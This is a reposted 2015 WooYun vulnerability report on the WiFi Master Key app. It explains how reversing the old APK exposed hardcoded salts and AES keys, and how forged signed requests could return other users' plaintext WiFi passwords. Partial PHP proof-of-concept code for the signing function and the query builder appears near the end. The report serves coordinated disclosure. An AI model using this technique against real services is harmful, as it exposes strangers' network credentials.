转载

Wifi万能钥匙密码查询接口被破 可无限查询用户AP明文密码

  漏洞概要

  • 缺陷编号: WooYun-2015-99268
  • 漏洞标题: WIFI 万能钥匙密码查询接口算法破解(可无限查询用户 AP 明文密码) 
  • 相关厂商: WiFi 万能钥匙
  • 漏洞作者: 路人甲
  • 提交时间: 2015-03-03 16:59
  • 公开时间: 2015-06-04 12:58
  • 漏洞类型: 敏感信息泄露
  • 危害等级: 高
  • 自评 Rank: 18
  • 漏洞状态: 厂商已经确认

  漏洞详情

  披露状态:

  • 2015-03-03: 细节已通知厂商并且等待厂商处理中
  • 2015-03-06: 厂商已经确认,细节仅向厂商公开
  • 2015-03-09: 细节向第三方安全合作伙伴开放
  • 2015-04-30: 细节向核心白帽子及相关领域专家公开
  • 2015-05-10: 细节向普通白帽子公开
  • 2015-05-20: 细节向实习白帽子公开
  • 2015-06-04: 细节向公众公开

  简要描述:

  http://zone.wooyun.org/content/18815,我是看到这篇帖子后萌生的想法。。。现在不用装 APP,也能查询你家的 WIFI 明文密码了。

  详细说明:

  凡是 APP 就涉及到通信接口,看了下万能钥匙的 APP,走的明文 HTTP 协议这就简单了。

  分析 Android 程序有个杀手锏,就是程序在更新迭代的时候新版本做了 API 改动,但为了兼容考虑,老版本存在问题的 API 不会下线,一直存在线上...

Wifi万能钥匙密码查询接口被破 可无限查询用户AP明文密码

  从 GooglePlay 下载了 1.X 版本的 WIFI 万能钥匙,确实还能用,通过程序包分析算法(说一下在,各种 key,salt 明文存储,连混淆哪怕是字符拼接都没有!)

Wifi万能钥匙密码查询接口被破 可无限查询用户AP明文密码

  这个是查询密码用到的数据包,以及参数中 sign(签名)的算法,其实就是这些数据进行排序后用 salt 算个 md5。新版本的万能钥匙还有个 retSn,实现链式认证,也能突破,但这个报告只说 1.x 版本的 API 问题(1.x 时代很多细节明显没有考虑完善,基本只靠 sign 做安全)。

Wifi万能钥匙密码查询接口被破 可无限查询用户AP明文密码

  用 JAVA 实现查询密码请求的签名

Wifi万能钥匙密码查询接口被破 可无限查询用户AP明文密码

  为了验证真实性,我给附近的一台 OpenWrt SSID 前加了个“1OpenWrt”,在计算签名查询,bingo!

Wifi万能钥匙密码查询接口被破 可无限查询用户AP明文密码

  第一部分完成了,但发现返回的密码竟然好长一串似乎还真没泄漏用户明文密码哎,但没明文客户端怎么连接呢。。。通过 apk 分析发现是用了 AES 加密,当然 key 和 iv 也泄漏了。

Wifi万能钥匙密码查询接口被破 可无限查询用户AP明文密码

  继续用 JAVA 程序实现

Wifi万能钥匙密码查询接口被破 可无限查询用户AP明文密码

  嘿嘿,原来你家密码是这个(跟这个朋友的分析一致 http://drops.wooyun.org/papers/4976)

  另外测试的过程中突然提示

Wifi万能钥匙密码查询接口被破 可无限查询用户AP明文密码

  经过分析原来是 dhid 每日有查询限额,继续分析 dhid 算法,是通过服务器返回的,具体伪造不在说了,基本还是分析包,打包 sign,发包了。

  漏洞证明:

Wifi万能钥匙密码查询接口被破 可无限查询用户AP明文密码

Wifi万能钥匙密码查询接口被破 可无限查询用户AP明文密码

  这样,就实现了通过 SSID,和 BSSID 查询任意 AP 明文密码了,本地写了个自用的玩玩。为了证明真实并且避免被恶意利用,我只放出部分 POC 代码,厂商一看就懂。

function sign ( $array , $do ){     // 签名算法     $request_str = '';     $salt = '';     $sign = '';     // 对应 apk 中的 Arrays.sort 数组排序,测试 PHP 需用 ksort      ksort ( $array );     foreach ($array as $key => $value) {         $request_str .= $value;     }     if ( $do == 'querypwd') {         $sign = md5( $request_str . SALT );     } elseif ( $do == 'querydhid' ) {         $sign = md5( $request_str . SALT2 );     } else {         NULL;     }     return $sign; }

  查询密码的

function get_pwd (){     $ssid = addslashes ( $_POST['ssid'] );     $mac = addslashes ( $_POST['mac'] );     $data = '';     $array = array (         "och" => "guanwang",          "ii"=> "123456789012345",         "appid"=> "0006",         "pid"=> "qryapwd:commonswitch",         "mac"=>"xx:xx:xx:xx:xx:xx",         "lang"=>"cn",         "bssid"=>"$mac,",         "v"=>"58",         "ssid"=>"$ssid,",         "method"=>"getSecurityCheckSwitch",         "uhid"=> "a0000000000000000000000000000001",         "st"=> "m",         "chanid"=> "googleplay",         "dhid" => get_dhid ()     );     $sign = sign ( $array , 'querypwd' );     foreach ($array as $key => $value) {         if ( $key == 'bssid') {             $data .= "sign=" . strtoupper ($sign) . "&";         }         $data .= "$key=" . urlencode ( $value ) . "&";     }

整个过程感觉自己又学到不少啊。。。

  PS:旧版本是默认分享用户 WIFI 的,1.0.8 这个版本,厂商还记得吧?确实是用户同意的前提,不知情的同意?

Wifi万能钥匙密码查询接口被破 可无限查询用户AP明文密码

Wifi万能钥匙密码查询接口被破 可无限查询用户AP明文密码

  修复方案:

  解决方案引用官方的话:问问你身边的 Android 程序员。

  版权声明:转载请注明来源 路人甲@乌云


  漏洞回应

  厂商回应:

  危害等级:低

  漏洞 Rank:5

  确认时间:2015-03-06 12:56

  厂商回复:

  感谢您的关注,已将问题转交至相关团队。

  最新状态:

  暂无


  漏洞评价:

  对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

正文到此结束
Loading...